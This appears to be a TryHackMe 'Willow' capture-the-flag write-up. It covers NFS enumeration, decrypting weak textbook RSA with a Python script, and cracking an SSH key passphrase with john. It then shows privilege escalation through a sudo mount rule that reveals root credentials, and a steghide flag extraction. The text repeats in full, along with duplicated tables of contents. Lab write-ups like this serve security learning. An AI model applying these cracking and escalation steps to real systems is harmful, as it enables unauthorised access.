TryHackMe - Willow

1. Enumeration

1.1 Nmap Scan

BASH

nmap -p- 10.49.163.136

Open Ports:

22/tcp – SSH
80/tcp – HTTP
111/tcp – rpcbind
2049/tcp – NFS

This immediately suggests NFS enumeration.

Enumerated the Webpage Got

Hex encoded content on webpage

Decoded this got the some Cipher Numbers

Decoded cipher numbers

BTW THE WEBSITE FOR WHICH I USED FOR DECODING THE TEXT IS https://www.keysec.in/recipes

1.2 NFS Enumeration

I enumerated NFS exports:

BASH

showmount -e 10.49.163.136

Output:

TEXT

/var/failsafe *

This showed that /var/failsafe was exported to everyone.

BASH

mkdir -p /tmp/mnt/nfs

After correcting the syntax, I still hit another error:

BASH

mount -t nfs 10.49.163.136:/var/failsafe /tmp/mnt/nfs

TEXT

mount.nfs: failed to apply fstab options

At this point, I was confused and tried mounting /var directly (which also failed). After researching, I learned that TryHackMe boxes often require forcing NFSv3.

The working command was:

BASH

sudo mount -t nfs -o vers=3 10.49.163.136:/var/failsafe /tmp/mnt/nfs

This finally worked.

Inside the mounted share:

BASH

ls /tmp/mnt/nfs

I found a file called:

TEXT

rsa_keys

2. Cryptography – Weak Textbook RSA

2.1 RSA Key Discovery

Opening the file:

BASH

cat rsa_keys

                        TEXT
                        
                            Public Key Pair: (23, 37627)
Private Key Pair: (61527, 37627)

At first, I didn't immediately recognize how weak this was. I initially wondered if it was just a hint or unrelated data. After checking the modulus size, I realized this was textbook RSA with a very small n.

2.2 Decrypting the Ciphertext (trial-and-error)

I initially tried to interpret the numeric ciphertext as ASCII or Unicode values, which obviously didn't work. After stepping back, I realized each number was less than n, meaning it was likely RSA ciphertext.

I wrote a Python script using modular exponentiation:

PYTHON

m = pow(c, d, n)

Here is the Python Script I made:

                        PYTHON
                        
                    

                            # RSA parameters
n = 37627
d = 61527  # or 24287

# Paste the ciphertext as a SPACE-separated string
ciphertext_str = """
#PASTE THE ENCODED NUMBERS THAT WE GOT BY DECODING THE HEX"""

# Convert string → list of integers
ciphertext = [int(x) for x in ciphertext_str.split()]

# Decrypt
plaintext = [pow(c, d, n) for c in ciphertext]

# Print numeric plaintext (comma-separated)
print(", ".join(map(str, plaintext)))

# OPTIONAL: Try ASCII decoding
try:
    print("\nASCII output:")
    print("".join(chr(m) for m in plaintext if 0 <= m < 128))
except ValueError:
    pass
                        

When I converted the output to ASCII, I finally saw something recognizable:

                        TEXT
                        
                            -----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED

This confirmed the RSA decryption was correct.

3. Encrypted SSH Key – Cracking and Confusion

3.1 Cracking the Key

I saved the decrypted key as enc_key

Then cracked the passphrase:

BASH

                            ssh2john enc_key > hash.h
john hash.h --wordlist=/usr/share/wordlists/rockyou.txt
                        

Result:

TEXT

wildflower

3.2 SSH Attempts That Failed

My first SSH attempt:

BASH

ssh willow@10.49.163.136 -i enc_key

Even after entering the correct passphrase, I kept getting:

                        TEXT
                        
                            sign_and_send_pubkey: no mutual signature supported

At this stage, I incorrectly assumed the key was wrong.

I decrypted the key:

BASH

openssl rsa -in enc_key -out id_rsa

Tried again:

BASH

ssh willow@10.49.163.136 -i id_rsa

Still failed with the same error.

3.3 Final Working SSH Fix (legacy algorithm issue)

After investigating further, I realized this was not a key problem, but an OpenSSH compatibility issue. Modern clients disable ssh-rsa by default, while the target server only supported it.

The working command was:

BASH

                            ssh -i id_rsa \
  -o PubkeyAcceptedAlgorithms=+ssh-rsa \
  -o HostKeyAlgorithms=+ssh-rsa \
  willow@10.49.163.136
                        

This finally gave me a shell as willow.

4. File Discovery & Exfiltration

After successfully logging in as willow, I listed the contents of the home directory:

BASH

                            willow@willow-tree:~$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  user.jpg  Videos
                        

The file user.jpg immediately stood out as a likely user flag or clue.

BASH

                            scp -i id_rsa \
  -o PubkeyAcceptedAlgorithms=+ssh-rsa \
  -o HostKeyAlgorithms=+ssh-rsa \
  willow@10.49.163.136:/home/willow/user.jpg .
                        

The transfer succeeded:

                        TEXT
                        
                            ** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See <https://openssh.com/pq.html>
user.jpg

Result: I obtained the user flag embedded inside the image.

User flag

5. Privilege Escalation – sudo mount

5.1 sudo Permissions

BASH

sudo -l

                        TEXT
                        
                            (ALL : ALL) NOPASSWD: /bin/mount /dev/*

5.2 Discovering Path

I listed /dev:

BASH

ls /dev

I noticed a suspicious device:

TEXT

hidden_backup

At first, I tried reading it directly:

BASH

cat /dev/hidden_backup

Permission denied.

That's when I realized it needed to be mounted, not read.

5.3 Successful Privilege Escalation

I mounted the device without any options (matching the sudo rule exactly):

BASH

sudo /bin/mount /dev/hidden_backup /mnt/creds

This worked.

Inside the mount:

BASH

cat /mnt/creds/creds.txt

                        TEXT
                        
                            root:7QvbvBTvwPspUK
willow:U0ZZJLGYhNAT2s

Using the root password:

BASH

su root

Root access achieved.

6. Root Flag – Steganography Twist

The root shell message hinted that the flag was provided earlier. This led me back to user.jpg.

I extracted hidden data:

BASH

steghide extract -sf user.jpg

This produced root.txt.

BASH

cat root.txt

🏁 Final Flag

TEXT

THM{REDACTED}

Key Takeaways

NFS Misconfiguration - The /var/failsafe share was exported to everyone (*)
Weak RSA - Textbook RSA with small modulus is trivially breakable
Legacy SSH Algorithms - Modern OpenSSH disables ssh-rsa by default
sudo mount - Can be exploited to mount hidden devices
Steganography - Always check images for hidden data

1. Enumeration

1.1 Nmap Scan

BASH

nmap -p- 10.49.163.136

Open Ports:

22/tcp – SSH
80/tcp – HTTP
111/tcp – rpcbind
2049/tcp – NFS

This immediately suggests NFS enumeration.

Enumerated the Webpage Got

Hex encoded content on webpage

Decoded this got the some Cipher Numbers

Decoded cipher numbers

BTW THE WEBSITE FOR WHICH I USED FOR DECODING THE TEXT IS https://www.keysec.in/recipes

1.2 NFS Enumeration

I enumerated NFS exports:

BASH

showmount -e 10.49.163.136

Output:

TEXT

/var/failsafe *

This showed that /var/failsafe was exported to everyone.

BASH

mkdir -p /tmp/mnt/nfs

After correcting the syntax, I still hit another error:

BASH

mount -t nfs 10.49.163.136:/var/failsafe /tmp/mnt/nfs

TEXT

mount.nfs: failed to apply fstab options

At this point, I was confused and tried mounting /var directly (which also failed). After researching, I learned that TryHackMe boxes often require forcing NFSv3.

The working command was:

BASH

sudo mount -t nfs -o vers=3 10.49.163.136:/var/failsafe /tmp/mnt/nfs

This finally worked.

Inside the mounted share:

BASH

ls /tmp/mnt/nfs

I found a file called:

TEXT

rsa_keys

2. Cryptography – Weak Textbook RSA

2.1 RSA Key Discovery

Opening the file:

BASH

cat rsa_keys

                        TEXT
                        
                            Public Key Pair: (23, 37627)
Private Key Pair: (61527, 37627)

2.2 Decrypting the Ciphertext (trial-and-error)

I wrote a Python script using modular exponentiation:

PYTHON

m = pow(c, d, n)

Here is the Python Script I made:

                        PYTHON
                        
                    

                            # RSA parameters
n = 37627
d = 61527  # or 24287

# Paste the ciphertext as a SPACE-separated string
ciphertext_str = """
#PASTE THE ENCODED NUMBERS THAT WE GOT BY DECODING THE HEX"""

# Convert string → list of integers
ciphertext = [int(x) for x in ciphertext_str.split()]

# Decrypt
plaintext = [pow(c, d, n) for c in ciphertext]

# Print numeric plaintext (comma-separated)
print(", ".join(map(str, plaintext)))

# OPTIONAL: Try ASCII decoding
try:
    print("\nASCII output:")
    print("".join(chr(m) for m in plaintext if 0 <= m < 128))
except ValueError:
    pass
                        

When I converted the output to ASCII, I finally saw something recognizable:

                        TEXT
                        
                            -----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED

This confirmed the RSA decryption was correct.

3. Encrypted SSH Key – Cracking and Confusion

3.1 Cracking the Key

I saved the decrypted key as enc_key

Then cracked the passphrase:

BASH

                            ssh2john enc_key > hash.h
john hash.h --wordlist=/usr/share/wordlists/rockyou.txt
                        

Result:

TEXT

wildflower

3.2 SSH Attempts That Failed

My first SSH attempt:

BASH

ssh willow@10.49.163.136 -i enc_key

Even after entering the correct passphrase, I kept getting:

                        TEXT
                        
                            sign_and_send_pubkey: no mutual signature supported

At this stage, I incorrectly assumed the key was wrong.

I decrypted the key:

BASH

openssl rsa -in enc_key -out id_rsa

Tried again:

BASH

ssh willow@10.49.163.136 -i id_rsa

Still failed with the same error.

3.3 Final Working SSH Fix (legacy algorithm issue)

After investigating further, I realized this was not a key problem, but an OpenSSH compatibility issue. Modern clients disable ssh-rsa by default, while the target server only supported it.

The working command was:

BASH

                            ssh -i id_rsa \
  -o PubkeyAcceptedAlgorithms=+ssh-rsa \
  -o HostKeyAlgorithms=+ssh-rsa \
  willow@10.49.163.136
                        

This finally gave me a shell as willow.

4. File Discovery & Exfiltration

After successfully logging in as willow, I listed the contents of the home directory:

BASH

                            willow@willow-tree:~$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  user.jpg  Videos
                        

The file user.jpg immediately stood out as a likely user flag or clue.

BASH

                            scp -i id_rsa \
  -o PubkeyAcceptedAlgorithms=+ssh-rsa \
  -o HostKeyAlgorithms=+ssh-rsa \
  willow@10.49.163.136:/home/willow/user.jpg .
                        

The transfer succeeded:

                        TEXT
                        
                            ** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See <https://openssh.com/pq.html>
user.jpg

Result: I obtained the user flag embedded inside the image.

User flag

5. Privilege Escalation – sudo mount

5.1 sudo Permissions

BASH

sudo -l

                        TEXT
                        
                            (ALL : ALL) NOPASSWD: /bin/mount /dev/*

5.2 Discovering Path

I listed /dev:

BASH

ls /dev

I noticed a suspicious device:

TEXT

hidden_backup

At first, I tried reading it directly:

BASH

cat /dev/hidden_backup

Permission denied.

That's when I realized it needed to be mounted, not read.

5.3 Successful Privilege Escalation

I mounted the device without any options (matching the sudo rule exactly):

BASH

sudo /bin/mount /dev/hidden_backup /mnt/creds

This worked.

Inside the mount:

BASH

cat /mnt/creds/creds.txt

                        TEXT
                        
                            root:7QvbvBTvwPspUK
willow:U0ZZJLGYhNAT2s

Using the root password:

BASH

su root

Root access achieved.

6. Root Flag – Steganography Twist

The root shell message hinted that the flag was provided earlier. This led me back to user.jpg.

I extracted hidden data:

BASH

steghide extract -sf user.jpg

This produced root.txt.

BASH

cat root.txt

🏁 Final Flag

TEXT

THM{REDACTED}

Key Takeaways

NFS Misconfiguration - The /var/failsafe share was exported to everyone (*)
Weak RSA - Textbook RSA with small modulus is trivially breakable
Legacy SSH Algorithms - Modern OpenSSH disables ssh-rsa by default
sudo mount - Can be exploited to mount hidden devices
Steganography - Always check images for hidden data

1. Enumeration

1.1 Nmap Scan

Enumerated the Webpage Got

1.2 NFS Enumeration

1.3 Mounting the NFS Share

1.4 Inspecting the NFS Share

2. Cryptography – Weak Textbook RSA

2.1 RSA Key Discovery

2.2 Decrypting the Ciphertext (trial-and-error)

3. Encrypted SSH Key – Cracking and Confusion

3.1 Cracking the Key

3.2 SSH Attempts That Failed

3.3 Final Working SSH Fix (legacy algorithm issue)

4. File Discovery & Exfiltration

5. Privilege Escalation – sudo mount

5.1 sudo Permissions

5.2 Discovering Path

5.3 Successful Privilege Escalation

6. Root Flag – Steganography Twist

🏁 Final Flag

Key Takeaways

1. Enumeration

1.1 Nmap Scan

Enumerated the Webpage Got

1.2 NFS Enumeration

1.3 Mounting the NFS Share

1.4 Inspecting the NFS Share

2. Cryptography – Weak Textbook RSA

2.1 RSA Key Discovery

2.2 Decrypting the Ciphertext (trial-and-error)

3. Encrypted SSH Key – Cracking and Confusion

3.1 Cracking the Key

3.2 SSH Attempts That Failed

3.3 Final Working SSH Fix (legacy algorithm issue)

4. File Discovery & Exfiltration

5. Privilege Escalation – sudo mount

5.1 sudo Permissions

5.2 Discovering Path

5.3 Successful Privilege Escalation

6. Root Flag – Steganography Twist

🏁 Final Flag

Key Takeaways